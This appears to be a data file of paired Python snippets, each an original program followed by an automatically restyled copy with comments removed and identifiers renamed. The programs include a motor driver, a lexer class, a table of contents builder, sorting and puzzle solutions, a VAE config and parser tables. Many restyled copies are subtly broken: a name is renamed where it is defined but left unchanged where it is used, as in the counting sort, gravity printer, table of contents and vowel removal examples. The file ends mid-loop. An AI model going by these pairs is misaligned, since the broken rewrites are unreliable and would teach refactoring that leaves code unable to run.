pwm.setLevel(self.BIN2, 0)
def MotorStop(self, pwm, motor):
if (motor == 0):
pwm.setDutycycle(self.PWMA, 0)
else:
pwm.setDutycycle(self.PWMB, 0)
| motor_driver_direction = ['forward', 'backward']
class Motordriver:
def __init__(self):
self.PWMA = 0
self.AIN1 = 1
self.AIN2 = 2
self.PWMB = 5
self.BIN1 = 3
self.BIN2 = 4
def motor_run(self, pwm, motor, index, speed):
if speed > 100:
return
if motor == 0:
pwm.setDutycycle(self.PWMA, speed)
if index == MotorDriverDirection[0]:
pwm.setLevel(self.AIN1, 0)
pwm.setLevel(self.AIN2, 1)
else:
pwm.setLevel(self.AIN1, 1)
pwm.setLevel(self.AIN2, 0)
else:
pwm.setDutycycle(self.PWMB, speed)
if index == MotorDriverDirection[0]:
pwm.setLevel(self.BIN1, 0)
pwm.setLevel(self.BIN2, 1)
else:
pwm.setLevel(self.BIN1, 1)
pwm.setLevel(self.BIN2, 0)
def motor_stop(self, pwm, motor):
if motor == 0:
pwm.setDutycycle(self.PWMA, 0)
else:
pwm.setDutycycle(self.PWMB, 0) |
#fragment start *
ENDMARK = "\0" # aka "lowvalues"
#-----------------------------------------------------------------------
#
# Character
#
#-----------------------------------------------------------------------
class Character:
"""
A Character object holds
- one character (self.cargo)
- the index of the character's position in the sourceText.
- the index of the line where the character was found in the sourceText.
- the index of the column in the line where the character was found in the sourceText.
- (a reference to) the entire sourceText (self.sourceText)
This information will be available to a token that uses this character.
If an error occurs, the token can use this information to report the
line/column number where the error occurred, and to show an image of the
line in sourceText where the error occurred.
"""
#-------------------------------------------------------------------
#
#-------------------------------------------------------------------
def __init__(self, c, lineIndex, colIndex, sourceIndex, sourceText):
"""
In Python, the __init__ method is the constructor.
"""
self.cargo = c
self.sourceIndex = sourceIndex
self.lineIndex = lineIndex
self.colIndex = colIndex
self.sourceText = sourceText
#-------------------------------------------------------------------
# return a displayable string representation of the Character object
#-------------------------------------------------------------------
def __str__(self):
"""
In Python, the __str__ method returns a string representation
of an object. In Java, this would be the toString() method.
"""
cargo = self.cargo
if cargo == " " : cargo = " space"
elif cargo == "\n" : cargo = " newline"
elif cargo == "\t" : cargo = " tab"
elif cargo == ENDMARK : cargo = " eof"
return (
str(self.lineIndex).rjust(6)
+ str(self.colIndex).rjust(4)
+ " "
+ cargo
)
| endmark = '\x00'
class Character:
"""
A Character object holds
- one character (self.cargo)
- the index of the character's position in the sourceText.
- the index of the line where the character was found in the sourceText.
- the index of the column in the line where the character was found in the sourceText.
- (a reference to) the entire sourceText (self.sourceText)
This information will be available to a token that uses this character.
If an error occurs, the token can use this information to report the
line/column number where the error occurred, and to show an image of the
line in sourceText where the error occurred.
"""
def __init__(self, c, lineIndex, colIndex, sourceIndex, sourceText):
"""
In Python, the __init__ method is the constructor.
"""
self.cargo = c
self.sourceIndex = sourceIndex
self.lineIndex = lineIndex
self.colIndex = colIndex
self.sourceText = sourceText
def __str__(self):
"""
In Python, the __str__ method returns a string representation
of an object. In Java, this would be the toString() method.
"""
cargo = self.cargo
if cargo == ' ':
cargo = ' space'
elif cargo == '\n':
cargo = ' newline'
elif cargo == '\t':
cargo = ' tab'
elif cargo == ENDMARK:
cargo = ' eof'
return str(self.lineIndex).rjust(6) + str(self.colIndex).rjust(4) + ' ' + cargo |
"""
Deals with generating the per-page table of contents.
For the sake of simplicity we use the Python-Markdown `toc` extension to
generate a list of dicts for each toc item, and then store it as AnchorLinks to
maintain compatibility with older versions of staticgennan.
"""
def get_toc(toc_tokens):
toc = [_parse_toc_token(i) for i in toc_tokens]
# For the table of contents, always mark the first element as active
if len(toc):
toc[0].active = True
return TableOfContents(toc)
class TableOfContents:
"""
Represents the table of contents for a given page.
"""
def __init__(self, items):
self.items = items
def __iter__(self):
return iter(self.items)
def __len__(self):
return len(self.items)
def __str__(self):
return ''.join([str(item) for item in self])
class AnchorLink:
"""
A single entry in the table of contents.
"""
def __init__(self, title, id, level):
self.title, self.id, self.level = title, id, level
self.children = []
@property
def url(self):
return '#' + self.id
def __str__(self):
return self.indent_print()
def indent_print(self, depth=0):
indent = ' ' * depth
ret = '{}{} - {}\n'.format(indent, self.title, self.url)
for item in self.children:
ret += item.indent_print(depth + 1)
return ret
def _parse_toc_token(token):
anchor = AnchorLink(token['name'], token['id'], token['level'])
for i in token['children']:
anchor.children.append(_parse_toc_token(i))
return anchor
| """
Deals with generating the per-page table of contents.
For the sake of simplicity we use the Python-Markdown `toc` extension to
generate a list of dicts for each toc item, and then store it as AnchorLinks to
maintain compatibility with older versions of staticgennan.
"""
def get_toc(toc_tokens):
toc = [_parse_toc_token(i) for i in toc_tokens]
if len(toc):
toc[0].active = True
return table_of_contents(toc)
class Tableofcontents:
"""
Represents the table of contents for a given page.
"""
def __init__(self, items):
self.items = items
def __iter__(self):
return iter(self.items)
def __len__(self):
return len(self.items)
def __str__(self):
return ''.join([str(item) for item in self])
class Anchorlink:
"""
A single entry in the table of contents.
"""
def __init__(self, title, id, level):
(self.title, self.id, self.level) = (title, id, level)
self.children = []
@property
def url(self):
return '#' + self.id
def __str__(self):
return self.indent_print()
def indent_print(self, depth=0):
indent = ' ' * depth
ret = '{}{} - {}\n'.format(indent, self.title, self.url)
for item in self.children:
ret += item.indent_print(depth + 1)
return ret
def _parse_toc_token(token):
anchor = anchor_link(token['name'], token['id'], token['level'])
for i in token['children']:
anchor.children.append(_parse_toc_token(i))
return anchor |
"""
Pie Chart
Uses the arc() function to generate a pie chart from the data
stored in an array.
"""
angles = (30, 10, 45, 35, 60, 38, 75, 67)
def setup():
size(640, 360)
noStroke()
noLoop() # Run once and stop
def draw():
background(100)
pieChart(300, angles)
def pieChart(diameter, data):
lastAngle = 0
for i, angle in enumerate(data):
gray = map(i, 0, len(data), 0, 255)
fill(gray)
arc(width / 2, height / 2, diameter, diameter,
lastAngle, lastAngle + radians(angle))
lastAngle += radians(angle)
| """
Pie Chart
Uses the arc() function to generate a pie chart from the data
stored in an array.
"""
angles = (30, 10, 45, 35, 60, 38, 75, 67)
def setup():
size(640, 360)
no_stroke()
no_loop()
def draw():
background(100)
pie_chart(300, angles)
def pie_chart(diameter, data):
last_angle = 0
for (i, angle) in enumerate(data):
gray = map(i, 0, len(data), 0, 255)
fill(gray)
arc(width / 2, height / 2, diameter, diameter, lastAngle, lastAngle + radians(angle))
last_angle += radians(angle) |
#counting sort
l = []
n = int(input("Enter number of elements in the list: "))
highest = 0
for i in range(n):
temp = int(input("Enter element"+str(i+1)+': '))
if temp > highest:
highest = temp
l += [temp]
def counting_sort(l,h):
bookkeeping = [0 for i in range(h+1)]
for i in l:
bookkeeping[i] += 1
L = []
for i in range(len(bookkeeping)):
if bookkeeping[i] > 0:
for j in range(bookkeeping[i]):
L += [i]
return L
print(counting_sort(l,highest))
| l = []
n = int(input('Enter number of elements in the list: '))
highest = 0
for i in range(n):
temp = int(input('Enter element' + str(i + 1) + ': '))
if temp > highest:
highest = temp
l += [temp]
def counting_sort(l, h):
bookkeeping = [0 for i in range(h + 1)]
for i in l:
bookkeeping[i] += 1
l = []
for i in range(len(bookkeeping)):
if bookkeeping[i] > 0:
for j in range(bookkeeping[i]):
l += [i]
return L
print(counting_sort(l, highest)) |
class Source:
'''
Source class to define Source Objects
'''
def __init__(self,id,name,description,url,category,language,country):
self.id =id
self.name = name
self.description= description
self.url = url
self.category = category
self.language = language
self.country = country
| class Source:
"""
Source class to define Source Objects
"""
def __init__(self, id, name, description, url, category, language, country):
self.id = id
self.name = name
self.description = description
self.url = url
self.category = category
self.language = language
self.country = country |
class Solution:
def toGoatLatin(self, S: str) -> str:
ans = ''
for i, word in enumerate(S.split()):
if('aiueoAIUEO'.find(word[0]) != -1):
word += 'ma'
else:
word = word[1:] + word[0] + 'ma'
word += 'a' * (i + 1)
ans += word + ' '
ans = ans.rstrip()
return ans
| class Solution:
def to_goat_latin(self, S: str) -> str:
ans = ''
for (i, word) in enumerate(S.split()):
if 'aiueoAIUEO'.find(word[0]) != -1:
word += 'ma'
else:
word = word[1:] + word[0] + 'ma'
word += 'a' * (i + 1)
ans += word + ' '
ans = ans.rstrip()
return ans |
def make_bold(func):
def wrapper(*args, **kwargs):
return f'<b>{func(*args, **kwargs)}</b>'
return wrapper
def make_italic(func):
def wrapper(*args, **kwargs):
return f'<i>{func(*args, **kwargs)}</i>'
return wrapper
def make_underline(func):
def wrapper(*args, **kwargs):
return f'<u>{func(*args, **kwargs)}</u>'
return wrapper
@make_bold
@make_italic
@make_underline
def greet(name):
return f'Hello, {name}'
@make_bold
@make_italic
@make_underline
def greet_all(*args):
return f'Hello, {", ".join(args)}'
print(greet('Peter'))
print(greet_all('Peter', 'George'))
| def make_bold(func):
def wrapper(*args, **kwargs):
return f'<b>{func(*args, **kwargs)}</b>'
return wrapper
def make_italic(func):
def wrapper(*args, **kwargs):
return f'<i>{func(*args, **kwargs)}</i>'
return wrapper
def make_underline(func):
def wrapper(*args, **kwargs):
return f'<u>{func(*args, **kwargs)}</u>'
return wrapper
@make_bold
@make_italic
@make_underline
def greet(name):
return f'Hello, {name}'
@make_bold
@make_italic
@make_underline
def greet_all(*args):
return f"Hello, {', '.join(args)}"
print(greet('Peter'))
print(greet_all('Peter', 'George')) |
#Naive vowel removal.
removeVowels = "EQuis sapiente illo autem mollitia alias corrupti reiciendis aut. Molestiae commodi minima omnis illo officia inventore. Quisquam sint corporis eligendi corporis voluptatum eos. Natus provident doloremque reiciendis vel atque quo. Quidem"
charToRemove = ['a', 'e', 'i', 'o', 'u']
print(removeVowels)
for char in charToRemove:
removeVowels = removeVowels.replace(char, "")
removeVowels = removeVowels.replace(char.upper(), "")
print(removeVowels)
| remove_vowels = 'EQuis sapiente illo autem mollitia alias corrupti reiciendis aut. Molestiae commodi minima omnis illo officia inventore. Quisquam sint corporis eligendi corporis voluptatum eos. Natus provident doloremque reiciendis vel atque quo. Quidem'
char_to_remove = ['a', 'e', 'i', 'o', 'u']
print(removeVowels)
for char in charToRemove:
remove_vowels = removeVowels.replace(char, '')
remove_vowels = removeVowels.replace(char.upper(), '')
print(removeVowels) |
# Copyright (c) 2019 CatPy
# Python stdlib imports
#from typing import NamedTuple, Dict
# package imports
#from catpy.usfos.headers import print_head_line, print_EOF
def print_gravity():
"""
"""
UFOmod = []
#_iter = 0
#for _key, _load in sorted(load.items()):
#try:
#_try = 1.0 / len(_load.gravity)
UFOmod.append("' \n")
UFOmod.append("' \n")
UFOmod.append("'{:} Gravity Load\n".format(70 * "-"))
UFOmod.append("' \n")
UFOmod.append("' Load Case Acc_X Acc_Y Acc_Z\n")
UFOmod.append("' \n")
UFOmod.append(" GRAVITY 1 0.00000E+00 0.00000E+00 -9.80665E+00")
UFOmod.append("\n")
#except ZeroDivisionError:
# pass
return UFOmod | def print_gravity():
"""
"""
uf_omod = []
UFOmod.append("' \n")
UFOmod.append("' \n")
UFOmod.append("'{:} Gravity Load\n".format(70 * '-'))
UFOmod.append("' \n")
UFOmod.append("' Load Case Acc_X Acc_Y Acc_Z\n")
UFOmod.append("' \n")
UFOmod.append(' GRAVITY 1 0.00000E+00 0.00000E+00 -9.80665E+00')
UFOmod.append('\n')
return UFOmod |
def patching_test(value):
"""
A test function for patching values during step tests. By default this
function returns the value it was passed. Patching this should change its
behavior in step tests.
"""
return value
| def patching_test(value):
"""
A test function for patching values during step tests. By default this
function returns the value it was passed. Patching this should change its
behavior in step tests.
"""
return value |
class Solution:
def rotate(self, nums: List[int], k: int) -> None:
"""
Do not return anything, modify nums in-place instead.
https://leetcode-cn.com/problems/rotate-array
"""
leng = len(nums);
k %= leng;
loop_time = current = start = 0;
while True:
if loop_time >= leng:
break;
num = nums[current];
while True:
current = (current + k) % leng;
temp = num;
num = nums[current];
nums[current] = temp;
loop_time += 1;
if current == start:
break;
start += 1;
current = start;
return True; | class Solution:
def rotate(self, nums: List[int], k: int) -> None:
"""
Do not return anything, modify nums in-place instead.
https://leetcode-cn.com/problems/rotate-array
"""
leng = len(nums)
k %= leng
loop_time = current = start = 0
while True:
if loop_time >= leng:
break
num = nums[current]
while True:
current = (current + k) % leng
temp = num
num = nums[current]
nums[current] = temp
loop_time += 1
if current == start:
break
start += 1
current = start
return True |
class SwanTag:
__tag = None
__link = None
__desc = None
__parent = []
__child = []
__attrs = []
def __init__(self):
pass
| class Swantag:
__tag = None
__link = None
__desc = None
__parent = []
__child = []
__attrs = []
def __init__(self):
pass |
# 8b d8 Yb dP 88""Yb db dP""b8 88 dP db dP""b8 888888
# 88b d88 YbdP 88__dP dPYb dP `" 88odP dPYb dP `" 88__
# 88YbdP88 8P 88""" dP__Yb Yb 88"Yb dP__Yb Yb "88 88""
# 88 YY 88 dP 88 dP""""Yb YboodP 88 Yb dP""""Yb YboodP 888888
VERSION = (0, 7, 3, 8)
__version__ = '.'.join(map(str, VERSION)) | version = (0, 7, 3, 8)
__version__ = '.'.join(map(str, VERSION)) |
'''
Created on Jan 5, 2010
@author: jtiai
'''
HOME = 1
VISITOR = -1
TIE = 0
def winner(self):
"""Returns winner of the match or guess
1 = home, 0 = equal, -1 = visitor"""
if self.home_score > self.away_score:
return HOME
elif self.home_score < self.away_score:
return VISITOR
else:
return TIE | """
Created on Jan 5, 2010
@author: jtiai
"""
home = 1
visitor = -1
tie = 0
def winner(self):
"""Returns winner of the match or guess
1 = home, 0 = equal, -1 = visitor"""
if self.home_score > self.away_score:
return HOME
elif self.home_score < self.away_score:
return VISITOR
else:
return TIE |
"""
Boxing modules.
Boxes are added in formatting Mathics S-Expressions.
Boxing information like width and size makes it easier for formatters to do
layout without having to know the intricacies of what is inside the box.
"""
| """
Boxing modules.
Boxes are added in formatting Mathics S-Expressions.
Boxing information like width and size makes it easier for formatters to do
layout without having to know the intricacies of what is inside the box.
""" |
N = int(input())
def explosion_3(n):
n_pos_B = [0 for i in range(n)]
n_pos_A = [0 for i in range(n)]
n_pos_C = [0 for i in range(n)]
n_pos_B[0] = 1
n_pos_A[0] = 1
n_pos_C[0] = 1
for i in range(1, n):
n_pos_C[i] = n_pos_C[i - 1] + n_pos_B[i - 1] + n_pos_A[i - 1]
n_pos_B[i] = n_pos_C[i - 1] + n_pos_B[i - 1] + n_pos_A[i - 1]
n_pos_A[i] = n_pos_C[i - 1] + n_pos_B[i - 1]
return n_pos_B[-1] + n_pos_A[-1] + n_pos_C[-1]
print(explosion_3(N))
| n = int(input())
def explosion_3(n):
n_pos_b = [0 for i in range(n)]
n_pos_a = [0 for i in range(n)]
n_pos_c = [0 for i in range(n)]
n_pos_B[0] = 1
n_pos_A[0] = 1
n_pos_C[0] = 1
for i in range(1, n):
n_pos_C[i] = n_pos_C[i - 1] + n_pos_B[i - 1] + n_pos_A[i - 1]
n_pos_B[i] = n_pos_C[i - 1] + n_pos_B[i - 1] + n_pos_A[i - 1]
n_pos_A[i] = n_pos_C[i - 1] + n_pos_B[i - 1]
return n_pos_B[-1] + n_pos_A[-1] + n_pos_C[-1]
print(explosion_3(N)) |
class InstanceStack(object):
def __init__(self, max_stack):
self._max_stack = max_stack
self._stack = []
def __contains__(self, name):
return name in map(lambda instance: instance.get_arch_name(), self._stack)
def __getitem__(self, name):
for instance in self._stack:
if instance.get_arch_name() == name:
return instance
return None
def push(self, instance):
self._stack.append(instance)
if len(self._stack) >= self._max_stack:
self._stack.pop(0)
| class Instancestack(object):
def __init__(self, max_stack):
self._max_stack = max_stack
self._stack = []
def __contains__(self, name):
return name in map(lambda instance: instance.get_arch_name(), self._stack)
def __getitem__(self, name):
for instance in self._stack:
if instance.get_arch_name() == name:
return instance
return None
def push(self, instance):
self._stack.append(instance)
if len(self._stack) >= self._max_stack:
self._stack.pop(0) |
# Copyright 2019 The Texar Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""VAE config.
"""
dataset = "ptb"
num_epochs = 100
hidden_size = 256
dec_dropout_in = 0.5
dec_dropout_out = 0.5
enc_dropout_in = 0.
enc_dropout_out = 0.
word_keep_prob = 0.5
batch_size = 32
embed_dim = 256
latent_dims = 32
lr_decay_hparams = {
"init_lr": 0.001,
"threshold": 2,
"decay_factor": 0.5,
"max_decay": 5
}
decoder_type = 'lstm'
enc_cell_hparams = {
"type": "LSTMCell",
"kwargs": {
"num_units": hidden_size,
"bias": 0.
},
"dropout": {"output_keep_prob": 1. - enc_dropout_out},
"num_layers": 1
}
dec_cell_hparams = {
"type": "LSTMCell",
"kwargs": {
"num_units": hidden_size,
"bias": 0.,
},
"dropout": {"output_keep_prob": 1. - dec_dropout_out},
"num_layers": 1,
}
enc_emb_hparams = {
'name': 'lookup_table',
"dim": embed_dim,
"dropout_rate": enc_dropout_in,
'initializer': {
'type': 'normal_',
'kwargs': {
'mean': 0.0,
'std': embed_dim**-0.5,
},
}
}
dec_emb_hparams = {
'name': 'lookup_table',
"dim": embed_dim,
"dropout_rate": dec_dropout_in,
'initializer': {
'type': 'normal_',
'kwargs': {
'mean': 0.0,
'std': embed_dim**-0.5,
},
}
}
# KL annealing
kl_anneal_hparams = {
"warm_up": 10,
"start": 0.1
}
train_data_hparams = {
"num_epochs": 1,
"batch_size": batch_size,
"seed": 123,
"dataset": {
"files": './simple-examples/data/ptb.train.txt',
"vocab_file": './simple-examples/data/vocab.txt'
}
}
val_data_hparams = {
"num_epochs": 1,
"batch_size": batch_size,
"seed": 123,
"dataset": {
"files": './simple-examples/data/ptb.valid.txt',
"vocab_file": './simple-examples/data/vocab.txt'
}
}
test_data_hparams = {
"num_epochs": 1,
"batch_size": batch_size,
"dataset": {
"files": './simple-examples/data/ptb.test.txt',
"vocab_file": './simple-examples/data/vocab.txt'
}
}
opt_hparams = {
'optimizer': {
'type': 'Adam',
'kwargs': {
'lr': 0.001
}
},
'gradient_clip': {
"type": "clip_grad_norm_",
"kwargs": {
"max_norm": 5,
"norm_type": 2
}
}
}
| """VAE config.
"""
dataset = 'ptb'
num_epochs = 100
hidden_size = 256
dec_dropout_in = 0.5
dec_dropout_out = 0.5
enc_dropout_in = 0.0
enc_dropout_out = 0.0
word_keep_prob = 0.5
batch_size = 32
embed_dim = 256
latent_dims = 32
lr_decay_hparams = {'init_lr': 0.001, 'threshold': 2, 'decay_factor': 0.5, 'max_decay': 5}
decoder_type = 'lstm'
enc_cell_hparams = {'type': 'LSTMCell', 'kwargs': {'num_units': hidden_size, 'bias': 0.0}, 'dropout': {'output_keep_prob': 1.0 - enc_dropout_out}, 'num_layers': 1}
dec_cell_hparams = {'type': 'LSTMCell', 'kwargs': {'num_units': hidden_size, 'bias': 0.0}, 'dropout': {'output_keep_prob': 1.0 - dec_dropout_out}, 'num_layers': 1}
enc_emb_hparams = {'name': 'lookup_table', 'dim': embed_dim, 'dropout_rate': enc_dropout_in, 'initializer': {'type': 'normal_', 'kwargs': {'mean': 0.0, 'std': embed_dim ** (-0.5)}}}
dec_emb_hparams = {'name': 'lookup_table', 'dim': embed_dim, 'dropout_rate': dec_dropout_in, 'initializer': {'type': 'normal_', 'kwargs': {'mean': 0.0, 'std': embed_dim ** (-0.5)}}}
kl_anneal_hparams = {'warm_up': 10, 'start': 0.1}
train_data_hparams = {'num_epochs': 1, 'batch_size': batch_size, 'seed': 123, 'dataset': {'files': './simple-examples/data/ptb.train.txt', 'vocab_file': './simple-examples/data/vocab.txt'}}
val_data_hparams = {'num_epochs': 1, 'batch_size': batch_size, 'seed': 123, 'dataset': {'files': './simple-examples/data/ptb.valid.txt', 'vocab_file': './simple-examples/data/vocab.txt'}}
test_data_hparams = {'num_epochs': 1, 'batch_size': batch_size, 'dataset': {'files': './simple-examples/data/ptb.test.txt', 'vocab_file': './simple-examples/data/vocab.txt'}}
opt_hparams = {'optimizer': {'type': 'Adam', 'kwargs': {'lr': 0.001}}, 'gradient_clip': {'type': 'clip_grad_norm_', 'kwargs': {'max_norm': 5, 'norm_type': 2}}} |
# URI Online Judge 2756
diamond = [
' A',
' B B',
' C C',
' D D',
' E E',
' D D',
' C C',
' B B',
' A',
]
for line in diamond:
print(line)
| diamond = [' A', ' B B', ' C C', ' D D', ' E E', ' D D', ' C C', ' B B', ' A']
for line in diamond:
print(line) |
# Write and test a function threshold(vals, goal)
# where vals is a sequence of numbers and goal is a positive number.
# The function returns the smallest integer n such that the sum of
# the first n numbers in vals is >= goal. If the goal is
# unachievable, the function returns 0
def func(data, goal):
n = int()
pos = int()
for i, v in enumerate(data):
if n < goal:
n +=v
pos = i
elif n >= goal:
pos=i
break
if n< goal:
return 0
return i
dd = [1,1,2,3,4,5]
gg = 10
a = func(dd, gg)
print(a)
| def func(data, goal):
n = int()
pos = int()
for (i, v) in enumerate(data):
if n < goal:
n += v
pos = i
elif n >= goal:
pos = i
break
if n < goal:
return 0
return i
dd = [1, 1, 2, 3, 4, 5]
gg = 10
a = func(dd, gg)
print(a) |
def main() -> None:
# binary search
n = int(input())
a = list(map(int, input().split()))
def binary_search_average() -> float:
def possible_more_than(average: float) -> bool:
b = [x - average for x in a]
dp = [[0.0, 0.0] for _ in range(n + 1)]
# not-choose, choose
# max sum
for i in range(n):
dp[i + 1][0] = dp[i][1]
dp[i + 1][1] = max(dp[i]) + b[i]
return max(dp[-1]) >= 0
lo, hi = 0, 1 << 30 # possible, impossible
for _ in range(50):
average = (lo + hi) / 2
if possible_more_than(average):
lo = average
else:
hi = average
return lo
def binary_search_median() -> int:
def possible_more_than(median: int) -> bool:
v = 0
count = 0
prev_chosen = True
for i in range(n):
if a[i] >= median:
v += 1
count += 1
prev_chosen = True
continue
if i == 0 or prev_chosen:
prev_chosen = False
continue
v -= 1
count += 1
prev_chosen = True
return v >= 1 if count & 1 else v >= 2
lo, hi = 0, 1 << 30
while hi - lo > 1:
median = (lo + hi) // 2
if possible_more_than(median):
lo = median
else:
hi = median
assert lo in a
return lo
print(binary_search_average())
print(binary_search_median())
if __name__ == "__main__":
main()
| def main() -> None:
n = int(input())
a = list(map(int, input().split()))
def binary_search_average() -> float:
def possible_more_than(average: float) -> bool:
b = [x - average for x in a]
dp = [[0.0, 0.0] for _ in range(n + 1)]
for i in range(n):
dp[i + 1][0] = dp[i][1]
dp[i + 1][1] = max(dp[i]) + b[i]
return max(dp[-1]) >= 0
(lo, hi) = (0, 1 << 30)
for _ in range(50):
average = (lo + hi) / 2
if possible_more_than(average):
lo = average
else:
hi = average
return lo
def binary_search_median() -> int:
def possible_more_than(median: int) -> bool:
v = 0
count = 0
prev_chosen = True
for i in range(n):
if a[i] >= median:
v += 1
count += 1
prev_chosen = True
continue
if i == 0 or prev_chosen:
prev_chosen = False
continue
v -= 1
count += 1
prev_chosen = True
return v >= 1 if count & 1 else v >= 2
(lo, hi) = (0, 1 << 30)
while hi - lo > 1:
median = (lo + hi) // 2
if possible_more_than(median):
lo = median
else:
hi = median
assert lo in a
return lo
print(binary_search_average())
print(binary_search_median())
if __name__ == '__main__':
main() |
# /home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser_tables.py
# This file is automatically generated. Do not edit.
_tabversion = '3.2'
_lr_method = 'LALR'
_lr_signature = '4\xa4a\x00\xea\xcdZp5\xc6@\xa5\xfa\x1dCA'
_lr_action_items = {'NONE_TOK':([8,12,24,26,],[11,11,11,11,]),'LP_TOK':([5,8,12,24,26,],[8,12,12,12,12,]),'STRING_TOK':([8,12,24,26,],[13,13,13,13,]),'RP_TOK':([8,11,12,13,14,16,17,18,19,20,22,23,26,27,28,29,],[15,-8,22,-14,-13,25,-17,-15,-16,-19,-18,-9,-10,29,-20,-21,]),',':([11,13,14,16,17,18,19,20,22,23,28,29,],[-8,-14,-13,24,-17,-15,-16,-19,-18,26,-20,-21,]),'NUMBER_TOK':([8,12,24,26,],[14,14,14,14,]),'NL_TOK':([0,6,7,15,21,25,],[3,10,-4,-6,-5,-7,]),'TRUE_TOK':([8,12,24,26,],[17,17,17,17,]),'IDENTIFIER_TOK':([0,1,3,8,10,12,24,26,],[-11,5,-12,18,5,18,18,18,]),'FALSE_TOK':([8,12,24,26,],[19,19,19,19,]),'$end':([0,1,2,3,4,6,7,9,10,15,21,25,],[-11,-2,0,-12,-1,-11,-4,-3,-12,-6,-5,-7,]),}
_lr_action = { }
for _k, _v in _lr_action_items.items():
for _x,_y in zip(_v[0],_v[1]):
if not _x in _lr_action: _lr_action[_x] = { }
_lr_action[_x][_k] = _y
del _lr_action_items
_lr_goto_items = {'facts_opt':([1,],[4,]),'nl_opt':([0,6,],[1,9,]),'comma_opt':([23,],[27,]),'data_list':([8,12,],[16,23,]),'file':([0,],[2,]),'facts':([1,],[6,]),'data':([8,12,24,26,],[20,20,28,28,]),'fact':([1,10,],[7,21,]),}
_lr_goto = { }
for _k, _v in _lr_goto_items.items():
for _x,_y in zip(_v[0],_v[1]):
if not _x in _lr_goto: _lr_goto[_x] = { }
_lr_goto[_x][_k] = _y
del _lr_goto_items
_lr_productions = [
("S' -> file","S'",1,None,None,None),
('file -> nl_opt facts_opt','file',2,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',36),
('facts_opt -> <empty>','facts_opt',0,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',37),
('facts_opt -> facts nl_opt','facts_opt',2,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',38),
('facts -> fact','facts',1,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',39),
('facts -> facts NL_TOK fact','facts',3,'p_file','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',40),
('fact -> IDENTIFIER_TOK LP_TOK RP_TOK','fact',3,'p_fact0','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',45),
('fact -> IDENTIFIER_TOK LP_TOK data_list RP_TOK','fact',4,'p_fact1','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',49),
('data -> NONE_TOK','data',1,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',53),
('comma_opt -> <empty>','comma_opt',0,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',54),
('comma_opt -> ,','comma_opt',1,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',55),
('nl_opt -> <empty>','nl_opt',0,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',56),
('nl_opt -> NL_TOK','nl_opt',1,'p_none','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',57),
('data -> NUMBER_TOK','data',1,'p_number','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',62),
('data -> STRING_TOK','data',1,'p_string','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',67),
('data -> IDENTIFIER_TOK','data',1,'p_quoted_last','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',72),
('data -> FALSE_TOK','data',1,'p_false','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',77),
('data -> TRUE_TOK','data',1,'p_true','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',82),
('data -> LP_TOK RP_TOK','data',2,'p_empty_tuple','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',87),
('data_list -> data','data_list',1,'p_start_list','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',92),
('data_list -> data_list , data','data_list',3,'p_append_list','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',97),
('data -> LP_TOK data_list comma_opt RP_TOK','data',4,'p_tuple','/home/bruce/python/workareas/pyke-hg/r1_working/pyke/krb_compiler/kfbparser.py',103),
]
| _tabversion = '3.2'
_lr_method = 'LALR'
_lr_signature = '4¤a\x00êÍZp5Æ@¥ú\x1dCA'
_lr_action_items = {'NONE_TOK': ([8, 12, 24, 26], [11, 11, 11, 11]), 'LP_TOK': ([5, 8, 12, 24, 26], [8, 12, 12, 12, 12]), 'STRING_TOK': ([8, 12, 24, 26], [13, 13, 13, 13]), 'RP_TOK': ([8, 11, 12, 13, 14, 16, 17, 18, 19, 20, 22, 23, 26, 27, 28, 29], [15, -8, 22, -14, -13, 25, -17, -15, -16, -19, -18, -9, -10, 29, -20, -21]), ',': ([11, 13, 14, 16, 17, 18, 19, 20, 22, 23, 28, 29], [-8, -14, -13, 24, -17, -15, -16, -19, -18, 26, -20, -21]), 'NUMBER_TOK': ([8, 12, 24, 26], [14, 14, 14, 14]), 'NL_TOK': ([0, 6, 7, 15, 21, 25], [3, 10, -4, -6, -5, -7]), 'TRUE_TOK': ([8, 12, 24, 26], [17, 17, 17, 17]), 'IDENTIFIER_TOK': ([0, 1, 3, 8, 10, 12, 24, 26], [-11, 5, -12, 18, 5, 18, 18, 18]), 'FALSE_TOK': ([8, 12, 24, 26], [19, 19, 19, 19]), '$end': ([0, 1, 2, 3, 4, 6, 7, 9, 10, 15, 21, 25], [-11, -2, 0, -12, -1, -11, -4, -3, -12, -6, -5, -7])}
_lr_action = {}
for (_k, _v) in _lr_action_items.items():
